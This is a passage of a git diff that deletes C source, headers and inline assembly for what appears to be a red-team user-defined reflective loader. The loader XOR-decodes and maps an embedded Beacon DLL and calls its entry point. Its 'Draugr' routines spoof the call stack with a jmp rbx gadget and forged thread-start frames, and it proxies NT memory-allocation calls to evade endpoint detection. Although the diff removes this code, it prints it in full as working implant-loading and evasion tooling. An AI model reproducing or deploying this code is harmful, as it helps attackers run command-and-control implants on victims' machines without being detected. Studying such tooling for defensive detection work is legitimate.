pUnwindInfo->UnwindCode[index].FrameOffset; - if (operationInfo == 0) { - frameOffset *= 8; - } - else { - index += 1; - frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16); - } - stackFrame.TotalStackSize += frameOffset; - } - else if (unwindOperation == UWOP_SET_FPREG) - { - stackFrame.SetsFramePointer = TRUE; - } - else if (unwindOperation == UWOP_SAVE_XMM128) - { - return NULL; - } - - index += 1; - } - - if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO)) - { - index = pUnwindInfo->CountOfCodes; - if (0 != (index & 1)) { - index += 1; - } - - pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]); - return calculateFunctionStackSize(pRuntimeFunction, imageBase); - } - - stackFrame.TotalStackSize += 8; - return (PVOID)(stackFrame.TotalStackSize); -} - -PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress) -{ - PRUNTIME_FUNCTION pRuntimeFunction = NULL; - DWORD64 ImageBase = 0; - PUNWIND_HISTORY_TABLE pHistoryTable = NULL; - - if (!returnAddress) { - return NULL; - } - - pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable); - - if (NULL == pRuntimeFunction) { - return NULL; - } - - return calculateFunctionStackSize(pRuntimeFunction, ImageBase); -} - -PVOID findGadget(PVOID pModuleAddr) -{ - BOOL bFoundGadgets = FALSE; - DWORD dwTextSectionSize = 0; - DWORD dwTextSectionVa = 0; - DWORD dwCounter = 0; - ULONG seed = 0; - ULONG randomNbr = 0; - PVOID pModTextSection = NULL; - - PVOID pGadgetList[15]; - memset(&pGadgetList, 0, (sizeof(PVOID) * 8)); - - if (!bFoundGadgets) - { - if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) { - return NULL; - } - - pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa); - - for (int i = 0; i < (dwTextSectionSize - 2); i++) - { - // Searching for jmp rbx gadget - if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23) - { - pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i); - dwCounter++; - - if (dwCounter == 15) { - break; - } - } - } - - bFoundGadgets = TRUE; - } - - seed = 0x1337; - randomNbr = NTDLL$RtlRandomEx(&seed); - randomNbr %= dwCounter; - - return pGadgetList[randomNbr]; -} - -ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12) -{ - int attempts = 0; - PVOID returnAddress = NULL; - - DRAUGR_PARAMETERS draugrParameters; - memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS)); - - // configure BaseThreadInitThunk frame - returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset); - draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress); - draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress; - - if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) { - return (ULONG_PTR)(NULL); - } - - // configure RtlUserThreadStart frame. - returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset); - draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress); - draugrParameters.RtlUserThreadStartReturnAddress = returnAddress; - - if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) { - return (ULONG_PTR)(NULL); - } - - /* - * Ensure that the gadget stack size is bigger than 0x80, which is min - * required to hold 10 arguments, otherwise it will crash sporadically. - */ - - do { - draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget); - draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline); - - attempts++; - - // quick sanity check for infinite loop - if (attempts > 15) { - return (ULONG_PTR)(NULL); - } - - } while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80)); - - if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) { - return (ULONG_PTR)(NULL); - } - - // make the call! - return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12); -} - -ULONG_PTR draugr(PFUNCTION_CALL functionCall) -{ - /* very inelegant */ - if (functionCall->argc == 0) { - return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 1) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 2) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 3) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 4) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 5) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 6) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 7) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 8) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL); - } else if (functionCall->argc == 9) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL); - } else if (functionCall->argc == 10) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL); - } else if (functionCall->argc == 11) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL); - } else if (functionCall->argc == 12) { - return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11)); - } - - return (ULONG_PTR)(NULL); -} \ No newline at end of file diff --git a/udrl/src/loader.c b/udrl/src/loader.c deleted file mode 100644 index 9ae91e8..0000000 --- a/udrl/src/loader.c +++ /dev/null @@ -1,270 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -void go(); - -char * loaderStart() { - return (char *)go; -} - -#include "loader.h" -#include "tp.h" -#include "proxy.h" - -#define WIN32_FUNC( x ) __typeof__( x ) * x - -typedef struct { - WIN32_FUNC(LoadLibraryA); - WIN32_FUNC(GetProcAddress); - DRAUGR Draugr; -} WIN32FUNCS; - -char __DRAUGR__[0] __attribute__((section("draugr"))); -char __HOOKS__[0] __attribute__((section("hooks"))); -char __DLL__[0] __attribute__((section("dll"))); -char __KEY__[0] __attribute__((section("key"))); - -void * allocateVirtualMemory(SIZE_T size, ULONG protect) -{ - NTARGS args; - memset(&args, 0, sizeof(NTARGS)); - - void * baseAddress = NULL; - - args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory); - args.argument1 = (ULONG_PTR)(HANDLE)(-1); - args.argument2 = (ULONG_PTR)(&baseAddress); - args.argument3 = (ULONG_PTR)(0); - args.argument4 = (ULONG_PTR)(&size); - args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE); - args.argument6 = (ULONG_PTR)(protect); - - ProxyNtApi(&args); - - return baseAddress; -} - -void protectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect) -{ - NTARGS args; - memset(&args, 0, sizeof(NTARGS)); - - ULONG oldProtect = 0; - - args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory); - args.argument1 = (ULONG_PTR)(HANDLE)(-1); - args.argument2 = (ULONG_PTR)(&baseAddress); - args.argument3 = (ULONG_PTR)(&size); - args.argument4 = (ULONG_PTR)(newProtect); - args.argument5 = (ULONG_PTR)(&oldProtect); - - ProxyNtApi(&args); -} - -void freeVirtualMemory(void * baseAddress) -{ - NTARGS args; - memset(&args, 0, sizeof(NTARGS)); - - SIZE_T size = 0; - - args.functionPtr = (ULONG_PTR)(NTDLL$NtFreeVirtualMemory); - args.argument1 = (ULONG_PTR)(HANDLE)(-1); - args.argument2 = (ULONG_PTR)(&baseAddress); - args.argument3 = (ULONG_PTR)(&size); - args.argument4 = (ULONG_PTR)(MEM_RELEASE); - - ProxyNtApi(&args); -} - -void fixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region) -{ - DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections; - IMAGE_SECTION_HEADER * sectionHdr = NULL; - void * sectionDst = NULL; - DWORD sectionSize = 0; - DWORD newProtect = 0; - - sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader); - - for (int i = 0; i < numberOfSections; i++) - { - sectionDst = dst + sectionHdr->VirtualAddress; - sectionSize = sectionHdr->SizeOfRawData; - - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) { - newProtect = PAGE_WRITECOPY; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) { - newProtect = PAGE_READONLY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) { - newProtect = PAGE_READWRITE; - } - if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) { - newProtect = PAGE_EXECUTE; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtect = PAGE_EXECUTE_WRITECOPY; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) { - newProtect = PAGE_EXECUTE_READ; - } - if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) { - newProtect = PAGE_EXECUTE_READWRITE; - } - - /* set new permission */ - protectVirtualMemory(sectionDst, sectionSize, newProtect); - - /* track memory */ - region->sections[i].baseAddress = sectionDst; - region->sections[i].size = sectionSize; - region->sections[i].currentProtect = newProtect; - region->sections[i].previousProtect = newProtect; - - /* advance to our next section */ - sectionHdr++; - } -} - -void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout) -{ - char * hookSrc; - PICO * hookDst; - RESOURCE * keyRes; - RESOURCE * beaconRes; - DLLDATA beaconData; - char * beaconSrc; - char * beaconDst; - - /* Time to load the hook PICO */ - hookSrc = GETRESOURCE(__HOOKS__); - - /* Allocate memory for it */ - hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE); - - /* Load it into memory */ - PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data); - - /* Make the code section RX */ - protectVirtualMemory(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ); - - /* Fill layout info */ - layout->hooks.baseAddress = (char *)hookDst; - layout->hooks.size = sizeof(PICO); - layout->hooks.sections[0].baseAddress = hookDst->data; - layout->hooks.sections[0].size = PicoDataSize(hookSrc); - layout->hooks.sections[0].currentProtect = PAGE_READWRITE; - layout->hooks.sections[0].previousProtect = PAGE_READWRITE; - layout->hooks.sections[1].baseAddress = hookDst->code; - layout->hooks.sections[1].size = PicoCodeSize(hookSrc); - layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ; - layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ; - - /* Get PICO entry point */ - PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code); - - /* Call it to install the hooks */ - picoEntry((IMPORTFUNCS *)funcs, layout); - - /* Get XOR key */ - keyRes = (RESOURCE *)GETRESOURCE(__KEY__); - - /* Get XOR'd DLL */ - beaconRes = (RESOURCE *)GETRESOURCE(__DLL__); - - /* Unmask and copy it into memory */ - beaconSrc = allocateVirtualMemory(beaconRes->length, PAGE_READWRITE); - - for (int i = 0; i < beaconRes->length; i++) { - beaconSrc[i] = beaconRes->value[i] ^ keyRes->value[i % keyRes->length]; - } - - /* Parse the headers */ - ParseDLL(beaconSrc, &beaconData); - - /* Allocate new memory for Beacon */ - beaconDst = allocateVirtualMemory(SizeOfDLL(&beaconData), PAGE_READWRITE); - - /* Load it into memory */ - LoadDLL(&beaconData, beaconSrc, beaconDst); - ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst); - - layout->dll.baseAddress = beaconDst; - layout->dll.size = SizeOfDLL(&beaconData); - - /* Fix section memory permissions */ - fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->dll); - - /* Call hook entry point again to provide the updated memory layout */ - picoEntry((IMPORTFUNCS *)funcs, layout); - - /* Get Beacon's entry point */ - DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst); - - /* Free the unmasked copy */ - freeVirtualMemory(beaconSrc); - - /* Call it twice */ - beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL); - beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL); -} - -void go() -{ - WIN32FUNCS funcs; - RESOURCE * picSrc; - char * picDst; - MEMORY_LAYOUT layout; - - funcs.LoadLibraryA = LoadLibraryA; - funcs.GetProcAddress = GetProcAddress; - - /* Grab the Draugr PIC */ - picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__); - - /* Allocate memory for it */ - picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE); - - /* Copy it into memory */ - memcpy(picDst, picSrc->value, picSrc->length); - - /* Flip memory to RX */ - protectVirtualMemory(picDst, picSrc->length, PAGE_EXECUTE_READ); - - /* Set funcs field */ - funcs.Draugr = (DRAUGR)(picDst); - - /* Begin filling memory layout info */ - layout.pic.baseAddress = picDst; - layout.pic.size = picSrc->length; - - /* Carry on loading the rest */ - reflectiveLoader(&funcs, &layout); -} \ No newline at end of file diff --git a/udrl/src/loader.h b/udrl/src/loader.h deleted file mode 100644 index 70eb15e..0000000 --- a/udrl/src/loader.h +++ /dev/null @@ -1,57 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "tcg.h" -#include "memory.h" - -#define memset(x, y, z) __stosb((unsigned char *)x, y, z); -#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z); - -#define GETRESOURCE(x) (char *)&x - -typedef struct { - int length; - char value[]; -} RESOURCE; - -typedef struct { - char data[4096]; - char code[16384]; -} PICO; - -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG); - -typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *); - -char * resolve(DWORD modHash, DWORD funcHash) { - char * hModule = (char *)findModuleByHash(modHash); - return findFunctionByHash(hModule, funcHash); -} \ No newline at end of file diff --git a/udrl/src/memory.h b/udrl/src/memory.h deleted file mode 100644 index 28b9094..0000000 --- a/udrl/src/memory.h +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -typedef struct { - void * baseAddress; - SIZE_T size; - DWORD currentProtect; - DWORD previousProtect; -} MEMORY_SECTION; - -typedef struct { - void * baseAddress; - SIZE_T size; - MEMORY_SECTION sections[5]; -} MEMORY_REGION; - -typedef struct { - MEMORY_REGION pic; - MEMORY_REGION hooks; - MEMORY_REGION dll; -} MEMORY_LAYOUT; \ No newline at end of file diff --git a/udrl/src/proxy.c b/udrl/src/proxy.c deleted file mode 100644 index 1ec653b..0000000 --- a/udrl/src/proxy.c +++ /dev/null @@ -1,122 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -void * __attribute__((naked)) SpoofStub() -{ - __asm__ __volatile__ ( - ".intel_syntax noprefix;" - "pop rax;" // Real return address in rax - "mov r10, rdi;" // Store OG rdi in r10 - "mov r11, rsi;" // Store OG rsi in r11 - "mov rdi, [rsp + 32];" // Storing struct in rdi - "mov rsi, [rsp + 40];" // Storing function to call - - // Storing our original registers - "mov [rdi + 24], r10;" // Storing OG rdi into param - "mov [rdi + 88], r11;" // Storing OG rsi into param - "mov [rdi + 96], r12;" // Storing OG r12 into param - "mov [rdi + 104], r13;" // Storing OG r13 into param - "mov [rdi + 112], r14;" // Storing OG r14 into param - "mov [rdi + 120], r15;" // Storing OG r15 into param - "mov r12, rax;" // OG code used r12 for ret addr - - // Prepping to move stack args - "xor r11, r11;" // r11 will hold the # of args that have been pushed - "mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed - "mov r14, 0x200;" // r14 will hold the offset we need to push stuff - "add r14, 8;" - "add r14, [rdi + 56];" // stack size of RtlUserStartThread - "add r14, [rdi + 48];" // stack size of BaseInitThreadThunk - "add r14, [rdi + 32];" // stack size of our gadget frame - "sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time. - "mov r10, rsp;" - "add r10, 0x30;" // offset of stack arg added to rsp - "looping:;" - "xor r15, r15;" // r15 will hold the offset + rsp base - "cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add - "je finish;" - - // Getting location to move the stack arg to - "sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset. - "mov r15, rsp;" // get current stack base - "sub r15, r14;" // subtract offset - - // Procuring the stack arg - "add r10, 8;" - "push qword ptr [r10];" - "pop qword ptr [r15];" - - // Increment the counter and loop back in case we need more args - "add r11, 1;" - "jmp looping;" - "finish:;" - "sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack - "push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart - "sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame - "mov r11, [rdi + 64];" - "mov [rsp], r11;" - "sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame - "mov r11, [rdi + 40];" - "mov [rsp], r11;" - "sub rsp, [rdi + 48];" // Gadget frame - "mov r11, [rdi + 80];" - "mov [rsp], r11;" - // Adjusting the param struct for the fixup - "mov r11, rsi;" // Copying function to call into r11 - "mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member - "mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member - "lea rbx, [rip + fixup];" // Fixup address is moved into rbx - "mov [rdi], rbx;" // Fixup member now holds the address of Fixup - "mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx - - // For indirect syscall use. If you want to use it, make sure to set ssn - // in param struct first.Otherwise, this is ignored by the callee. - "mov r10, rcx;" - "mov rax, [rdi + 72];" - "jmp r11;" - "fixup:;" - "mov rcx, rbx;" - "add rsp, 0x200;" // Remove our large frame - "add rsp, [rbx + 48];" // Adjust back for our gadget frame - "add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame - "add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame - "mov rbx, [rcx + 16];" // Restoring OG RBX - "mov rdi, [rcx + 24];" // Restoring OG rdi - "mov rsi, [rcx + 88];" // Restoring OG rsi - "mov r12, [rcx + 96];" // Restoring OG r12 - "mov r13, [rcx + 104];" // Restoring OG r13 - "mov r14, [rcx + 112];" // Restoring OG r14 - "mov r15, [rcx + 120];" // Restoring OG r15 - "push rax;" - "xor rax, rax;" - "pop rax;" - "jmp qword ptr [rcx + 8];" - - ".att_syntax prefix" - ); -} \ No newline at end of file diff --git a/udrl/src/proxy.h b/udrl/src/proxy.h deleted file mode 100644 index 86999a8..0000000 --- a/udrl/src/proxy.h +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, 